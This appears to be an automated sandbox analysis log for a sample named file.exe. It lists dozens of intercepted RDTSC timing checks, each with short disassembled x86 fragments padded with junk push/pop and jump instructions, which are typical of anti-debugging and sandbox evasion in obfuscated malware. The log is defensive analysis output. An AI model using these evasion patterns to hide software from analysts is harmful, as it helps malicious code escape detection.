Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E96E second address: B5E980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F5264C7BAF6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EE0C second address: B5EE22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F52647CA11Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6606C second address: B66074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC774F second address: AC775A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65063 second address: B65072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F5264C7BAF6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65072 second address: B65078 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65078 second address: B6507E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F54B second address: B0F54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F54F second address: B0F559 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F559 second address: B0F5C0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ch, 2Bh 0x00000010 mov ebx, dword ptr [ebp+124836C3h] 0x00000016 movsx edi, di 0x00000019 add eax, ebx 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F52647CA118h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 jmp 00007F52647CA127h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F52647CA126h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65DAC second address: B65DB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6771C second address: B6772B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52647CA11Ah 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E9F8 second address: B6E9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E9FC second address: B6EA11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75724 second address: B75737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5264C7BAF6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c jnc 00007F5264C7BAF6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75737 second address: B7574F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52647CA11Dh 0x00000008 jp 00007F52647CA116h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7574F second address: B75755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75889 second address: B7588D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7588D second address: B7589B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7589B second address: B758B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52647CA121h 0x00000009 pop edx 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75A23 second address: B75A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76217 second address: B7621B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76DF3 second address: B76E2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB04h 0x00000007 js 00007F5264C7BAF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007F5264C7BB09h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B9F5 second address: B7B9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B9F9 second address: B7BA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F5264C7BAF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7BA08 second address: B7BA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7BA13 second address: B7BA17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7BA17 second address: B7BA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AE3B second address: B7AE59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5264C7BB08h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AE59 second address: B7AE5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AE5F second address: B7AE63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AFB2 second address: B7AFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F52647CA116h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AFC3 second address: B7AFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AFC9 second address: B7AFCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B265 second address: B7B281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5264C7BB05h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B281 second address: B7B28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B28C second address: B7B290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B290 second address: B7B2C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F52647CA123h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F52647CA124h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B2C5 second address: B7B2E3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5264C7BAF6h 0x00000008 jmp 00007F5264C7BB04h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B5C1 second address: B7B5D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F52647CA116h 0x00000009 jmp 00007F52647CA11Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D09A second address: B7D0C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5264C7BB02h 0x0000000b pushad 0x0000000c jmp 00007F5264C7BB00h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D0C5 second address: B7D0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 jp 00007F52647CA13Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F52647CA122h 0x00000015 jo 00007F52647CA116h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D0ED second address: B7D0F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AC5B second address: B8AC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jg 00007F52647CA116h 0x00000011 jmp 00007F52647CA11Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AC79 second address: B8AC8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F5264C7BAFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AF3C second address: B8AF46 instructions: 0x00000000 rdtsc 0x00000002 je 00007F52647CA116h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AF46 second address: B8AF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B0F0 second address: B8B0F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B274 second address: B8B278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B278 second address: B8B283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B651 second address: B8B662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F5264C7BAFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B662 second address: B8B693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA125h 0x00000007 push eax 0x00000008 jmp 00007F52647CA127h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B930 second address: B8B935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BFE4 second address: B8BFEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BFEA second address: B8BFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jbe 00007F5264C7BAF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BFF9 second address: B8C01B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F52647CA120h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C01B second address: B8C027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5264C7BAF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C027 second address: B8C047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F52647CA129h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B934DD second address: B934F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BB04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B934F5 second address: B9351C instructions: 0x00000000 rdtsc 0x00000002 je 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F52647CA122h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F52647CA116h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9351C second address: B93531 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B93531 second address: B9353A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9353A second address: B93541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B93541 second address: B9354C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007F52647CA116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9308F second address: B93094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9F50E second address: B9F517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9F517 second address: B9F51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9F51D second address: B9F523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA171E second address: BA173B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5264C7BAFEh 0x00000008 pushad 0x00000009 jmp 00007F5264C7BAFAh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA189B second address: BA18A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA18A0 second address: BA18B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5264C7BAF6h 0x00000009 jmp 00007F5264C7BAFDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA18B8 second address: BA18CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F52647CA11Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB52D9 second address: BB52DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB52DE second address: BB52E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB52E4 second address: BB52E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7706 second address: BB7718 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnp 00007F52647CA116h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7718 second address: BB771C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB771C second address: BB7720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFEB6 second address: BBFEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5264C7BAF6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFEC6 second address: BBFECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE7BA second address: BBE7CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5264C7BB00h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE7CE second address: BBE7D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE7D2 second address: BBE7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEBC4 second address: BBEBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F52647CA116h 0x0000000a jg 00007F52647CA116h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F52647CA116h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBED61 second address: BBED6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBED6B second address: BBED6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBED6F second address: BBED7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBED7E second address: BBED8A instructions: 0x00000000 rdtsc 0x00000002 je 00007F52647CA116h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBED8A second address: BBEDA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5264C7BB07h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEF0D second address: BBEF2E instructions: 0x00000000 rdtsc 0x00000002 js 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F52647CA123h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF1DC second address: BBF1E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5264C7BAF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFB83 second address: BBFB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFB87 second address: BBFB97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F5264C7BAFEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFB97 second address: BBFBB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007F52647CA11Eh 0x0000000c jbe 00007F52647CA118h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC39DF second address: BC39E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC39E5 second address: BC39E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC39E9 second address: BC39FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BAFCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC39FB second address: BC3A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD410F second address: BD4116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD91A9 second address: BD91AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8FFA second address: BD8FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8FFE second address: BD9002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
